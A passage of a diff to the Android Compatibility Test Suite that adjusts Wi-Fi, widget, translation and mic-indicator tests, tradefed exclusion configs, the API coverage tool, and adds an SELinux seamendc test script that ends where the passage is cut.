+++ b/tests/tests/voiceRecognition/src/android/voicerecognition/cts/RecognitionServiceMicIndicatorTest.java
@@ -66,7 +66,7 @@
private final String PRIVACY_CHIP_ID = "privacy_chip";
private final String PRIVACY_DIALOG_PACKAGE_NAME = "com.android.systemui";
private final String PRIVACY_DIALOG_CONTENT_ID = "text";
- private final String CAR_PRIVACY_DIALOG_CONTENT_ID = "mic_privacy_panel";
+ private final String CAR_PRIVACY_DIALOG_CONTENT_ID = "qc_title";
private final String CAR_PRIVACY_DIALOG_APP_LABEL_CONTENT_ID = "qc_title";
private final String TV_MIC_INDICATOR_WINDOW_TITLE = "MicrophoneCaptureIndicator";
// The cts app label
diff --git a/tests/tests/webkit/src/android/webkit/cts/WebChromeClientTest.java b/tests/tests/webkit/src/android/webkit/cts/WebChromeClientTest.java
index 8b04c2d..e658152 100644
--- a/tests/tests/webkit/src/android/webkit/cts/WebChromeClientTest.java
+++ b/tests/tests/webkit/src/android/webkit/cts/WebChromeClientTest.java
@@ -26,6 +26,7 @@
import android.view.ViewGroup;
import android.view.ViewParent;
import android.webkit.ConsoleMessage;
+import android.view.ViewParent;
import android.webkit.JsPromptResult;
import android.webkit.JsResult;
import android.webkit.WebIconDatabase;
diff --git a/tests/tests/widget/res/layout-watch/magnifier_activity_centered_view_layout.xml b/tests/tests/widget/res/layout-watch/magnifier_activity_centered_view_layout.xml
index 1bad59c..9913be3 100644
--- a/tests/tests/widget/res/layout-watch/magnifier_activity_centered_view_layout.xml
+++ b/tests/tests/widget/res/layout-watch/magnifier_activity_centered_view_layout.xml
@@ -23,7 +23,7 @@
android:gravity="center" >
<FrameLayout
android:id="@+id/magnifier_centered_view"
- android:layout_width="80dp"
- android:layout_height="56dp"
+ android:layout_width="60dp"
+ android:layout_height="36dp"
android:background="@android:color/holo_blue_bright" />
</LinearLayout>
diff --git a/tests/tests/widget/src/android/widget/cts/AbsListViewTest.java b/tests/tests/widget/src/android/widget/cts/AbsListViewTest.java
index f02f893..4710d1b 100644
--- a/tests/tests/widget/src/android/widget/cts/AbsListViewTest.java
+++ b/tests/tests/widget/src/android/widget/cts/AbsListViewTest.java
@@ -1220,15 +1220,20 @@
mActivityRule.getActivity().setContentView(listView);
listView.setAdapter(mCountriesAdapter);
});
-
View row = listView.getChildAt(0);
- Rect r = new Rect();
- r.set(0, listView.getHeight() - (row.getHeight() >> 1),
- row.getWidth(), listView.getHeight() + (row.getHeight() >> 1));
+ // Initialize the test scrolled down by half the height of the first child.
+ WidgetTestUtils.runOnMainAndDrawSync(mActivityRule, listView, () -> {
+ listView.scrollListBy(row.getHeight() / 2);
+ });
listView.resetIsOnScrollChangedCalled();
assertFalse(listView.isOnScrollChangedCalled());
+
+ // Scroll the first child back completely into view (back to the top of the AbsListView).
+ Rect r = new Rect();
+ r.set(0, 0, row.getWidth(), row.getHeight());
listView.requestChildRectangleOnScreen(row, r, true);
+
assertTrue(listView.isOnScrollChangedCalled());
}
diff --git a/tests/tests/wifi/src/android/net/wifi/aware/cts/SingleDeviceTest.java b/tests/tests/wifi/src/android/net/wifi/aware/cts/SingleDeviceTest.java
index e50d3a6..4535321 100644
--- a/tests/tests/wifi/src/android/net/wifi/aware/cts/SingleDeviceTest.java
+++ b/tests/tests/wifi/src/android/net/wifi/aware/cts/SingleDeviceTest.java
@@ -543,7 +543,7 @@
/**
* Validate that can attach to Wi-Fi Aware.
*/
- public void testAttachNoIdentity() {
+ public void testAttachNoIdentity() throws InterruptedException {
if (!TestUtils.shouldTestWifiAware(getContext())) {
return;
}
@@ -551,6 +551,7 @@
WifiAwareSession session = attachAndGetSession();
session.close();
if (WifiBuildCompat.isPlatformOrWifiModuleAtLeastS(getContext())) {
+ Thread.sleep(WAIT_FOR_AWARE_INTERFACE_CREATION_SEC * 1000);
assertFalse(mWifiAwareManager.isDeviceAttached());
}
}
diff --git a/tests/tests/wifi/src/android/net/wifi/cts/MultiStaConcurrencyWifiNetworkSpecifierTest.java b/tests/tests/wifi/src/android/net/wifi/cts/MultiStaConcurrencyWifiNetworkSpecifierTest.java
index 88457ca..1063fc4 100644
--- a/tests/tests/wifi/src/android/net/wifi/cts/MultiStaConcurrencyWifiNetworkSpecifierTest.java
+++ b/tests/tests/wifi/src/android/net/wifi/cts/MultiStaConcurrencyWifiNetworkSpecifierTest.java
@@ -83,7 +83,7 @@
private WifiConfiguration mTestNetworkForPeerToPeer;
private WifiConfiguration mTestNetworkForInternetConnection;
private ConnectivityManager.NetworkCallback mNetworkCallback;
- private ConnectivityManager.NetworkCallback mNrNetworkCallback;
+ private TestHelper.TestNetworkCallback mNrNetworkCallback;
private TestHelper mTestHelper;
private static final int DURATION = 10_000;
@@ -222,14 +222,14 @@
private void testSuccessfulConnectionWithSpecifier(
WifiConfiguration network, WifiNetworkSpecifier specifier) throws Exception {
- mNrNetworkCallback = mTestHelper.testConnectionFlowWithSpecifier(
- network, specifier, false);
+ mNrNetworkCallback = (TestHelper.TestNetworkCallback) mTestHelper
+ .testConnectionFlowWithSpecifier(network, specifier, false);
}
private void testUserRejectionWithSpecifier(
WifiConfiguration network, WifiNetworkSpecifier specifier) throws Exception {
- mNrNetworkCallback = mTestHelper.testConnectionFlowWithSpecifier(
- network, specifier, true);
+ mNrNetworkCallback = (TestHelper.TestNetworkCallback) mTestHelper
+ .testConnectionFlowWithSpecifier(network, specifier, true);
}
/**
@@ -276,10 +276,18 @@
mNetworkCallback = mTestHelper.testConnectionFlowWithConnect(
mTestNetworkForInternetConnection);
+ if (mNrNetworkCallback.waitForAnyCallback(DURATION)
+ && mNrNetworkCallback.onLostCalled) {
+ // If the local only network became unavailable, that should because both network are
+ // using the same SSID. That makes only 1 network available.
+ assumeTrue(mTestNetworkForPeerToPeer.SSID
+ .equals(mTestNetworkForInternetConnection.SSID));
+ assertThat(mTestHelper.getNumWifiConnections()).isEqualTo(1);
+ return;
+ }
+
// Ensure that there are 2 wifi connections available for apps.
- assertThat(mTestHelper.getNumWifiConnections()).isEqualTo(
- mTestNetworkForPeerToPeer.SSID.equals(mTestNetworkForInternetConnection.SSID)
- ? 1 : 2);
+ assertThat(mTestHelper.getNumWifiConnections()).isEqualTo(2);
}
/**
diff --git a/tests/tests/wifi/src/android/net/wifi/cts/TestHelper.java b/tests/tests/wifi/src/android/net/wifi/cts/TestHelper.java
index c845138..8f0d44e 100644
--- a/tests/tests/wifi/src/android/net/wifi/cts/TestHelper.java
+++ b/tests/tests/wifi/src/android/net/wifi/cts/TestHelper.java
@@ -226,11 +226,12 @@
.setBssid(MacAddress.fromString(network.BSSID));
}
- private static class TestNetworkCallback extends ConnectivityManager.NetworkCallback {
- private final CountDownLatch mCountDownLatch;
+ public static class TestNetworkCallback extends ConnectivityManager.NetworkCallback {
+ private CountDownLatch mCountDownLatch;
public boolean onAvailableCalled = false;
public boolean onUnavailableCalled = false;
public NetworkCapabilities networkCapabilities;
+ public boolean onLostCalled = false;
TestNetworkCallback(@NonNull CountDownLatch countDownLatch) {
mCountDownLatch = countDownLatch;
@@ -258,6 +259,21 @@
onUnavailableCalled = true;
mCountDownLatch.countDown();
}
+ @Override
+ public void onLost(Network network) {
+ onLostCalled = true;
+ mCountDownLatch.countDown();
+ }
+
+ boolean waitForAnyCallback(int timeout) {
+ try {
+ boolean noTimeout = mCountDownLatch.await(timeout, TimeUnit.MILLISECONDS);
+ mCountDownLatch = new CountDownLatch(1);
+ return noTimeout;
+ } catch (InterruptedException e) {
+ return false;
+ }
+ }
}
private static TestNetworkCallback createTestNetworkCallback(
diff --git a/tests/tests/wifi/src/android/net/wifi/cts/WifiManagerTest.java b/tests/tests/wifi/src/android/net/wifi/cts/WifiManagerTest.java
index 78b030c..699a655 100644
--- a/tests/tests/wifi/src/android/net/wifi/cts/WifiManagerTest.java
+++ b/tests/tests/wifi/src/android/net/wifi/cts/WifiManagerTest.java
@@ -2903,7 +2903,7 @@
disabledNetworkIds.remove(currentNetwork.getNetworkId());
// PNO should reconnect us back to the network we disconnected from
- waitForConnection();
+ waitForConnection(WIFI_PNO_CONNECT_TIMEOUT_MILLIS);
} finally {
// re-enable disabled networks
for (int disabledNetworkId : disabledNetworkIds) {
diff --git a/tests/translation/src/android/translation/cts/UiTranslationManagerTest.java b/tests/translation/src/android/translation/cts/UiTranslationManagerTest.java
index 34ceb72..ca3c8ca 100644
--- a/tests/translation/src/android/translation/cts/UiTranslationManagerTest.java
+++ b/tests/translation/src/android/translation/cts/UiTranslationManagerTest.java
@@ -18,6 +18,7 @@
import static android.content.Context.CONTENT_CAPTURE_MANAGER_SERVICE;
import static android.content.Context.TRANSLATION_MANAGER_SERVICE;
+import static android.provider.Settings.Global.ANIMATOR_DURATION_SCALE;
import static android.translation.cts.Helper.ACTION_ASSERT_UI_TRANSLATION_CALLBACK_ON_FINISH;
import static android.translation.cts.Helper.ACTION_ASSERT_UI_TRANSLATION_CALLBACK_ON_PAUSE;
import static android.translation.cts.Helper.ACTION_ASSERT_UI_TRANSLATION_CALLBACK_ON_RESUME;
@@ -39,6 +40,7 @@
import android.app.PendingIntent;
import android.content.ComponentName;
+import android.content.ContentResolver;
import android.content.Context;
import android.content.Intent;
import android.icu.util.ULocale;
@@ -79,6 +81,7 @@
import com.android.compatibility.common.util.BlockingBroadcastReceiver;
import com.android.compatibility.common.util.PollingCheck;
import com.android.compatibility.common.util.RequiredServiceRule;
+import com.android.compatibility.common.util.SystemUtil;
import org.junit.After;
import org.junit.AfterClass;
@@ -240,6 +243,60 @@
}
@Test
+ public void testUiTranslationWithoutAnimation() throws Throwable {
+ final float[] originalAnimationDurationScale = new float[1];
+ try {
+ // Disable animation
+ SystemUtil.runWithShellPermissionIdentity(() -> {
+ ContentResolver resolver =
+ ApplicationProvider.getApplicationContext().getContentResolver();
+ originalAnimationDurationScale[0] =
+ Settings.Global.getFloat(resolver, ANIMATOR_DURATION_SCALE, 1f);
+ Settings.Global.putFloat(resolver, ANIMATOR_DURATION_SCALE, 0);
+ });
+
+ final Pair<List<AutofillId>, ContentCaptureContext> result =
+ enableServicesAndStartActivityForTranslation();
+
+ final CharSequence originalText = mTextView.getText();
+ final List<AutofillId> views = result.first;
+ final ContentCaptureContext contentCaptureContext = result.second;
+
+ final String translatedText = "success";
+ final UiObject2 helloText = Helper.findObjectByResId(Helper.ACTIVITY_PACKAGE,
+ SimpleActivity.HELLO_TEXT_ID);
+ assertThat(helloText).isNotNull();
+ // Set response
+ final TranslationResponse response =
+ createViewsTranslationResponse(views, translatedText);
+ sTranslationReplier.addResponse(response);
+
+ startUiTranslation(/* shouldPadContent */ false, views, contentCaptureContext);
+
+ assertThat(helloText.getText()).isEqualTo(translatedText);
+
+ pauseUiTranslation(contentCaptureContext);
+
+ assertThat(helloText.getText()).isEqualTo(originalText.toString());
+
+ resumeUiTranslation(contentCaptureContext);
+
+ assertThat(helloText.getText()).isEqualTo(translatedText);
+
+ finishUiTranslation(contentCaptureContext);
+
+ assertThat(helloText.getText()).isEqualTo(originalText.toString());
+ } finally {
+ // restore animation
+ SystemUtil.runWithShellPermissionIdentity(() -> {
+ Settings.Global.putFloat(
+ ApplicationProvider.getApplicationContext().getContentResolver(),
+ ANIMATOR_DURATION_SCALE, originalAnimationDurationScale[0]);
+ });
+ }
+ }
+
+ @Test
public void testPauseUiTranslationThenStartUiTranslation() throws Throwable {
final Pair<List<AutofillId>, ContentCaptureContext> result =
enableServicesAndStartActivityForTranslation();
diff --git a/tests/tvprovider/AndroidTest.xml b/tests/tvprovider/AndroidTest.xml
index 18a59ab..5bd4d68 100644
--- a/tests/tvprovider/AndroidTest.xml
+++ b/tests/tvprovider/AndroidTest.xml
@@ -21,6 +21,7 @@
<option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
<option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
<option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+ <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
<option name="test-file-name" value="CtsTvProviderTestCases.apk" />
diff --git a/tests/video/AndroidManifest.xml b/tests/video/AndroidManifest.xml
index 3b25dd5..8cdc050 100644
--- a/tests/video/AndroidManifest.xml
+++ b/tests/video/AndroidManifest.xml
@@ -21,7 +21,7 @@
<uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
- <application>
+ <application
android:requestLegacyExternalStorage="true"
android:usesCleartextTraffic="true">
<uses-library android:name="android.test.runner" />
diff --git a/tools/cts-api-coverage/src/com/android/cts/apicoverage/CtsApiCoverage.java b/tools/cts-api-coverage/src/com/android/cts/apicoverage/CtsApiCoverage.java
index c46df15..b882105 100644
--- a/tools/cts-api-coverage/src/com/android/cts/apicoverage/CtsApiCoverage.java
+++ b/tools/cts-api-coverage/src/com/android/cts/apicoverage/CtsApiCoverage.java
@@ -16,9 +16,14 @@
package com.android.cts.apicoverage;
+import static com.google.common.collect.ImmutableList.toImmutableList;
+import static com.google.common.io.MoreFiles.getFileExtension;
+
import com.android.compatibility.common.util.CddTest;
import com.android.compatibility.common.util.ReadElf;
+import com.google.common.collect.ImmutableList;
+
import org.jf.dexlib2.DexFileFactory;
import org.jf.dexlib2.Opcodes;
import org.jf.dexlib2.iface.Annotation;
@@ -34,20 +39,23 @@
import org.xml.sax.helpers.XMLReaderFactory;
import java.io.File;
-import java.io.FilenameFilter;
import java.io.FileOutputStream;
import java.io.FileReader;
import java.io.IOException;
import java.io.OutputStream;
-import java.util.Arrays;
+import java.nio.file.Files;
+import java.nio.file.Path;
+import java.nio.file.Paths;
import java.util.ArrayList;
import java.util.Collection;
import java.util.List;
import java.util.Locale;
import java.util.Set;
+import java.util.stream.Stream;
import java.util.concurrent.ExecutorService;
import java.util.concurrent.Executors;
import java.util.concurrent.Future;
+import java.util.function.Predicate;
import javax.xml.transform.TransformerException;
@@ -57,20 +65,14 @@
*/
public class CtsApiCoverage {
- private static final FilenameFilter SUPPORTED_FILE_NAME_FILTER = new FilenameFilter() {
- public boolean accept(File dir, String name) {
- String fileName = name.toLowerCase();
- return fileName.endsWith(".apk") || fileName.endsWith(".jar");
- }
- };
-
private static final int FORMAT_TXT = 0;
private static final int FORMAT_XML = 1;
private static final int FORMAT_HTML = 2;
- private static final String CDD_REQUIREMENT_ANNOTATION = "Lcom/android/compatibility/common/util/CddTest;";
+ private static final String CDD_REQUIREMENT_ANNOTATION =
+ "Lcom/android/compatibility/common/util/CddTest;";
private static final String CDD_REQUIREMENT_ELEMENT_NAME = "requirement";
@@ -93,8 +95,10 @@
System.out.println(" -d PATH path to dexdeps or expected to be in $PATH");
System.out.println(" -a PATH path to the API XML file");
System.out.println(
- " -n PATH path to the NDK API XML file, which can be updated via ndk-api-report with the ndk target");
- System.out.println(" -p PACKAGENAMEPREFIX report coverage only for package that start with");
+ " -n PATH path to the NDK API XML file, which can be updated via"
+ + " ndk-api-report with the ndk target");
+ System.out.println(
+ " -p PACKAGENAMEPREFIX report coverage only for package that start with");
System.out.println(" -t TITLE report title");
System.out.println(" -a API the Android API Level");
System.out.println(" -b BITS 64 or 32 bits, default 64");
@@ -150,15 +154,22 @@
printUsage();
}
} else {
- File file = new File(args[i]);
+ Path file = Paths.get(args[i]);
numTestApkArgs++;
- if (file.isDirectory()) {
- testApks.addAll(Arrays.asList(file.listFiles(SUPPORTED_FILE_NAME_FILTER)));
+ if (Files.isDirectory(file)) {
+ List<String> extensions = ImmutableList.of("apk", "jar");
+ try (Stream<Path> files = Files.walk(file, Integer.MAX_VALUE)) {
+ Predicate<Path> filter =
+ path -> extensions.contains(getFileExtension(path).toLowerCase());
+ List<File> matchedFiles =
+ files.filter(filter).map(Path::toFile).collect(toImmutableList());
+ testApks.addAll(matchedFiles);
+ }
testCasesFolder = args[i];
- } else if (file.isFile()) {
- testApks.add(file);
+ } else if (Files.exists(file)) {
+ testApks.add(file.toFile());
} else {
- notFoundTestApks.add(file);
+ notFoundTestApks.add(file.toFile());
}
}
}
@@ -371,7 +382,8 @@
} else {
System.err.println(
String.format(
- "warning: addNdkApiCoverage failed to get GTestApiReport from: %s @ %s bits",
+ "warning: addNdkApiCoverage failed to get GTestApiReport from: %s @ %s"
+ + " bits",
testCasesFolder, bits));
}
}
@@ -393,7 +405,8 @@
} else {
System.err.println(
String.format(
- "warning: addGTestNdkApiCoverage failed to get GTestApiReport from: %s @ %s bits",
+ "warning: addGTestNdkApiCoverage failed to get GTestApiReport from: %s"
+ + " @ %s bits",
testCasesFolder, bits));
}
}
diff --git a/tools/cts-media-preparer-app/src/android/mediastress/cts/preconditions/app/MediaPreparerAppTest.java b/tools/cts-media-preparer-app/src/android/mediastress/cts/preconditions/app/MediaPreparerAppTest.java
index 0f4fd69..7f80e56 100644
--- a/tools/cts-media-preparer-app/src/android/mediastress/cts/preconditions/app/MediaPreparerAppTest.java
+++ b/tools/cts-media-preparer-app/src/android/mediastress/cts/preconditions/app/MediaPreparerAppTest.java
@@ -82,8 +82,12 @@
@Test
public void testGetResolutions() throws Exception {
+ String moduleName = InstrumentationRegistry.getArguments().getString("module-name");
+ if (moduleName == null) {
+ moduleName = MODULE_NAME;
+ }
Resolution maxRes = new Resolution(DEFAULT_MAX_WIDTH, DEFAULT_MAX_HEIGHT);
- DynamicConfigDeviceSide config = new DynamicConfigDeviceSide(MODULE_NAME);
+ DynamicConfigDeviceSide config = new DynamicConfigDeviceSide(moduleName);
for (String key : config.keySet()) {
int width = 0;
int height = 0;
diff --git a/tools/cts-tradefed/etc/cts-tradefed b/tools/cts-tradefed/etc/cts-tradefed
index b9d5547..21b36ca 100755
--- a/tools/cts-tradefed/etc/cts-tradefed
+++ b/tools/cts-tradefed/etc/cts-tradefed
@@ -112,7 +112,7 @@
fi
# include any host-side test jars
-for j in ${CTS_ROOT}/android-cts/testcases/*.jar; do
+for j in $(find ${CTS_ROOT}/android-cts/testcases -name '*.jar'); do
JAR_PATH=${JAR_PATH}:$j
done
diff --git a/tools/cts-tradefed/res/config/collect-tests-only.xml b/tools/cts-tradefed/res/config/collect-tests-only.xml
index a3769a9..bb53a6d 100644
--- a/tools/cts-tradefed/res/config/collect-tests-only.xml
+++ b/tools/cts-tradefed/res/config/collect-tests-only.xml
@@ -29,6 +29,7 @@
<option name="preparer-whitelist" value="com.android.tradefed.targetprep.suite.SuiteApkInstaller" />
<option name="preparer-whitelist" value="com.android.compatibility.common.tradefed.targetprep.ApkInstaller" />
<option name="preparer-whitelist" value="com.android.compatibility.common.tradefed.targetprep.FilePusher" />
+ <option name="preparer-whitelist" value="com.android.tradefed.targetprep.PythonVirtualenvPreparer" />
<option name="compatibility:collect-tests-only" value="true" />
diff --git a/tools/cts-tradefed/res/config/cts-automated.xml b/tools/cts-tradefed/res/config/cts-automated.xml
index 80bcea7..b614422 100644
--- a/tools/cts-tradefed/res/config/cts-automated.xml
+++ b/tools/cts-tradefed/res/config/cts-automated.xml
@@ -24,6 +24,7 @@
<option name="skip-preconditions" value="false" />
<option name="skip-system-status-check" value="com.android.compatibility.common.tradefed.targetprep.NetworkConnectivityChecker" />
+ <option name="wifi-check:disable" value="true" />
<!-- Tell all AndroidJUnitTests to exclude certain annotations -->
<option name="compatibility:test-arg" value="com.android.tradefed.testtype.AndroidJUnitTest:exclude-annotation:android.platform.test.annotations.RestrictedBuildTest" />
@@ -32,4 +33,6 @@
<option name="compatibility:test-arg" value="com.android.tradefed.testtype.HostTest:exclude-annotation:android.platform.test.annotations.RestrictedBuildTest" />
<option name="compatibility:test-arg" value="com.android.compatibility.common.tradefed.testtype.JarHostTest:exclude-annotation:android.platform.test.annotations.RestrictedBuildTest" />
+ <!-- Main CTS remains single device until decided otherwise for default automation -->
+ <option name="multi-devices-modules" value="EXCLUDE_ALL" />
</configuration>
diff --git a/tools/cts-tradefed/res/config/cts-common.xml b/tools/cts-tradefed/res/config/cts-common.xml
index 47f3637..e1152c7 100644
--- a/tools/cts-tradefed/res/config/cts-common.xml
+++ b/tools/cts-tradefed/res/config/cts-common.xml
@@ -19,8 +19,8 @@
<option name="compatibility:run-suite-tag" value="cts" />
<!-- Enable module parameterization to run instant_app modules in main CTS -->
<option name="compatibility:enable-parameterized-modules" value="true" />
- <!-- Main CTS remains single device until decided otherwise -->
- <option name="multi-devices-modules" value="EXCLUDE_ALL" />
+ <!-- Main CTS executes both single and multi-devices in the same plan during sharding -->
+ <option name="multi-devices-modules" value="RUN" />
<include name="cts-preconditions" />
<include name="cts-system-checkers" />
diff --git a/tools/cts-tradefed/res/config/cts-exclude.xml b/tools/cts-tradefed/res/config/cts-exclude.xml
index 77d6038..3d66c33 100644
--- a/tools/cts-tradefed/res/config/cts-exclude.xml
+++ b/tools/cts-tradefed/res/config/cts-exclude.xml
@@ -28,9 +28,6 @@
tests into CTS, but until then, they should be excluded. -->
<option name="compatibility:exclude-filter" value="CtsTestHarnessModeTestCases" />
- <!-- Exclude multi device test cases - work in progress -->
- <option name="compatibility:exclude-filter" value="CtsWifiAwareTestCases" />
-
<!-- Exclude downstreaming tests from CTS, i.e. tests added after the
first major release for this API level (They are pulled into GTS
instead). -->
diff --git a/tools/cts-tradefed/res/config/cts-known-failures.xml b/tools/cts-tradefed/res/config/cts-known-failures.xml
index 93e7935..46f96ca 100644
--- a/tools/cts-tradefed/res/config/cts-known-failures.xml
+++ b/tools/cts-tradefed/res/config/cts-known-failures.xml
@@ -257,6 +257,7 @@
<!-- b/204721335 -->
<option name="compatibility:exclude-filter" value="CtsWindowManagerJetpackTestCases android.server.wm.jetpack.SidecarTest#testSidecarInterface_onWindowLayoutChangeListener" />
+ <option name="compatibility:exclude-filter" value="CtsWindowManagerJetpackTestCases android.server.wm.jetpack.SidecarTest#testSidecarInterface_getWindowLayoutInfo" />
<!-- b/209382234 -->
<option name="compatibility:exclude-filter" value="CtsDevicePolicyTestCases android.devicepolicy.cts.KeyManagementTest" />
@@ -269,11 +270,7 @@
<!-- b/182630972, b/214019488 -->
<option name="compatibility:exclude-filter" value="CtsWindowManagerDeviceTestCases android.server.wm.PinnedStackTests#testEnterPipWithMinimalSize" />
- <!-- b/224400993 -->
- <option name="compatibility:exclude-filter"
- value="CtsDevicePolicyManagerTestCases com.android.cts.devicepolicy.MixedDeviceOwnerTest#testSuspendPackage" />
- <option name="compatibility:exclude-filter"
- value="CtsDevicePolicyManagerTestCases com.android.cts.devicepolicy.MixedManagedProfileOwnerTest#testSuspendPackage" />
- <option name="compatibility:exclude-filter"
- value="CtsDevicePolicyManagerTestCases com.android.cts.devicepolicy.MixedProfileOwnerTest#testSuspendPackage" />
+ <!-- b/205492302 -->
+ <option name="compatibility:exclude-filter" value="CtsDevicePolicyManagerTestCases com.android.cts.devicepolicy.OrgOwnedProfileOwnerTest#testSetCameraDisabled" />
+
</configuration>
diff --git a/tools/cts-tradefed/res/config/cts-on-gsi-exclude.xml b/tools/cts-tradefed/res/config/cts-on-gsi-exclude.xml
index d20e33a..7bfbd39 100644
--- a/tools/cts-tradefed/res/config/cts-on-gsi-exclude.xml
+++ b/tools/cts-tradefed/res/config/cts-on-gsi-exclude.xml
@@ -102,10 +102,22 @@
<!-- b/203177211 -->
<option name="compatibility:exclude-filter" value="CtsAppSecurityHostTestCases android.appsecurity.cts.ListeningPortsTest#testNoRemotelyAccessibleListeningUdpPorts" />
+ <!-- b/212223944 -->
+ <option name="compatibility:exclude-filter" value="CtsViewTestCases android.view.cts.ASurfaceControlTest#testSurfaceTransaction_setDesiredPresentTime_30ms" />
+ <option name="compatibility:exclude-filter" value="CtsViewTestCases android.view.cts.ASurfaceControlTest#testSurfaceTransaction_setDesiredPresentTime_100ms" />
+
<!-- b/228390608 No Tv Input Service implementation on GSI -->
<option name="compatibility:exclude-filter" value="CtsHdmiCecHostTestCases android.hdmicec.cts.tv.HdmiCecRemoteControlPassThroughTest" />
<option name="compatibility:exclude-filter" value="CtsHdmiCecHostTestCases android.hdmicec.cts.tv.HdmiCecRoutingControlTest" />
<option name="compatibility:exclude-filter" value="CtsHdmiCecHostTestCases android.hdmicec.cts.tv.HdmiCecTvOneTouchPlayTest" />
+ <!-- b/192113622, b/203031609, b/204402327, b/204615046, b/204860049 Remove tests for S "optional" algorithms for GRF devices -->
+ <option name="compatibility:exclude-filter" value="CtsNetTestCases android.net.cts.IpSecAlgorithmImplTest#testChaCha20Poly1305" />
+ <option name="compatibility:exclude-filter" value="CtsNetTestCases android.net.cts.IpSecManagerTest#testChaCha20Poly1305Tcp4" />
+ <option name="compatibility:exclude-filter" value="CtsNetTestCases android.net.cts.IpSecManagerTest#testChaCha20Poly1305Tcp6" />
+ <option name="compatibility:exclude-filter" value="CtsNetTestCases android.net.cts.IpSecManagerTest#testChaCha20Poly1305Udp4" />
+ <option name="compatibility:exclude-filter" value="CtsNetTestCases android.net.cts.IpSecManagerTest#testChaCha20Poly1305Udp6" />
+ <option name="compatibility:exclude-filter" value="CtsNetTestCases android.net.cts.IpSecManagerTest#testChaCha20Poly1305Udp4UdpEncap" />
+ <option name="compatibility:exclude-filter" value="CtsNetTestCases android.net.cts.IpSecManagerTest#testChaCha20Poly1305Tcp4UdpEncap" />
</configuration>
diff --git a/tools/cts-tradefed/tests/src/com/android/compatibility/common/tradefed/presubmit/ApkPackageNameCheck.java b/tools/cts-tradefed/tests/src/com/android/compatibility/common/tradefed/presubmit/ApkPackageNameCheck.java
index 90ffb97..841357b 100644
--- a/tools/cts-tradefed/tests/src/com/android/compatibility/common/tradefed/presubmit/ApkPackageNameCheck.java
+++ b/tools/cts-tradefed/tests/src/com/android/compatibility/common/tradefed/presubmit/ApkPackageNameCheck.java
@@ -99,7 +99,7 @@
"File %s[32/64] wasn't found in module "
+ "dependencies while "
+ "it's expected to be pushed as part"
- + " of %s.",
+ + " of %s. Make sure that it's added in the Android.bp file of the module under 'data' field.",
path, config.getName()));
}
}
@@ -115,7 +115,7 @@
String.format(
"File %s wasn't found in module dependencies "
+ "while it's expected to be pushed "
- + "as part of %s.",
+ + "as part of %s. Make sure that it's added in the Android.bp file of the module under 'data' field.",
path, config.getName()));
}
}
@@ -129,7 +129,7 @@
File apkFile = FileUtil.findFile(config.getParentFile(), apkName);
if (apkFile == null || !apkFile.exists()) {
fail(String.format("Module %s is trying to install %s which does not "
- + "exists in testcases/", config.getName(), apkName));
+ + "exists in testcases/. Make sure that it's added in the Android.bp file of the module under 'data' field.", config.getName(), apkName));
}
AaptParser res = AaptParser.parse(apkFile);
assertNotNull(res);
diff --git a/tools/cts-tradefed/tests/src/com/android/compatibility/common/tradefed/presubmit/CtsConfigLoadingTest.java b/tools/cts-tradefed/tests/src/com/android/compatibility/common/tradefed/presubmit/CtsConfigLoadingTest.java
index a4998e9..ed45728 100644
--- a/tools/cts-tradefed/tests/src/com/android/compatibility/common/tradefed/presubmit/CtsConfigLoadingTest.java
+++ b/tools/cts-tradefed/tests/src/com/android/compatibility/common/tradefed/presubmit/CtsConfigLoadingTest.java
@@ -141,6 +141,7 @@
"com.drawelements.deqp.runner.DeqpTestRunner",
// Tradefed runners
"com.android.tradefed.testtype.AndroidJUnitTest",
+ "com.android.tradefed.testtype.ArtRunTest",
"com.android.tradefed.testtype.HostTest",
"com.android.tradefed.testtype.GTest",
"com.android.tradefed.testtype.mobly.MoblyBinaryHostTest"
diff --git a/tools/cts-tradefed/tests/src/com/android/compatibility/common/tradefed/presubmit/ValidateTestsAbi.java b/tools/cts-tradefed/tests/src/com/android/compatibility/common/tradefed/presubmit/ValidateTestsAbi.java
index 94a65bf..4361117 100644
--- a/tools/cts-tradefed/tests/src/com/android/compatibility/common/tradefed/presubmit/ValidateTestsAbi.java
+++ b/tools/cts-tradefed/tests/src/com/android/compatibility/common/tradefed/presubmit/ValidateTestsAbi.java
@@ -237,7 +237,11 @@
}
try {
// Ignore python binaries
- if (FileUtil.readStringFromFile(f).startsWith("#!/usr/bin/env python")) {
+ String content = FileUtil.readStringFromFile(f);
+ if (content.startsWith("#!/usr/bin/env python")) {
+ return true;
+ }
+ if (content.contains("mobly/__init__.py")) {
return true;
}
} catch (IOException e) {
diff --git a/tools/selinux/Android.bp b/tools/selinux/Android.bp
index ab120f0..1339557 100644
--- a/tools/selinux/Android.bp
+++ b/tools/selinux/Android.bp
@@ -27,3 +27,29 @@
srcs: ["SELinuxNeverallowTestGen.py"],
libs: ["SELinuxNeverallowTestFrame"],
}
+
+sh_test_host {
+ name: "seamendc-test",
+ src: "seamendc-test.sh",
+ data_bins: [
+ "seamendc",
+ "secilc",
+ "searchpolicy",
+ ],
+ data: [
+ ":sepolicy-cil-files",
+ ":libsepolwrap",
+ ],
+}
+
+filegroup {
+ name: "sepolicy-cil-files",
+ srcs: [
+ ":plat_sepolicy.cil",
+ ":plat_pub_versioned.cil",
+ ":system_ext_sepolicy.cil",
+ ":product_sepolicy.cil",
+ ":vendor_sepolicy.cil",
+ ":odm_sepolicy.cil",
+ ],
+}
diff --git a/tools/selinux/seamendc-test.sh b/tools/selinux/seamendc-test.sh
new file mode 100644
index 0000000..3221502
--- /dev/null
+++ b/tools/selinux/seamendc-test.sh
@@ -0,0 +1,54 @@
+#!/bin/bash
+set -e
+
+# Generate the amend policy in cil format.
+echo "(type foo)" > test_sepolicy.cil
+echo "(typeattribute bar)" >> test_sepolicy.cil
+echo "(typeattributeset bar (foo))" >> test_sepolicy.cil
+echo "(allow foo bar (file (read)))" >> test_sepolicy.cil
+
+# Generate the definitions file containing (re)definitions of existing types/classes/attributes, and
+# of preliminary symbols. This file is needed by seamendc to successfully parse the CIL policy.
+echo "(sid test)" > definitions.cil
+echo "(sidorder (test))" >> definitions.cil
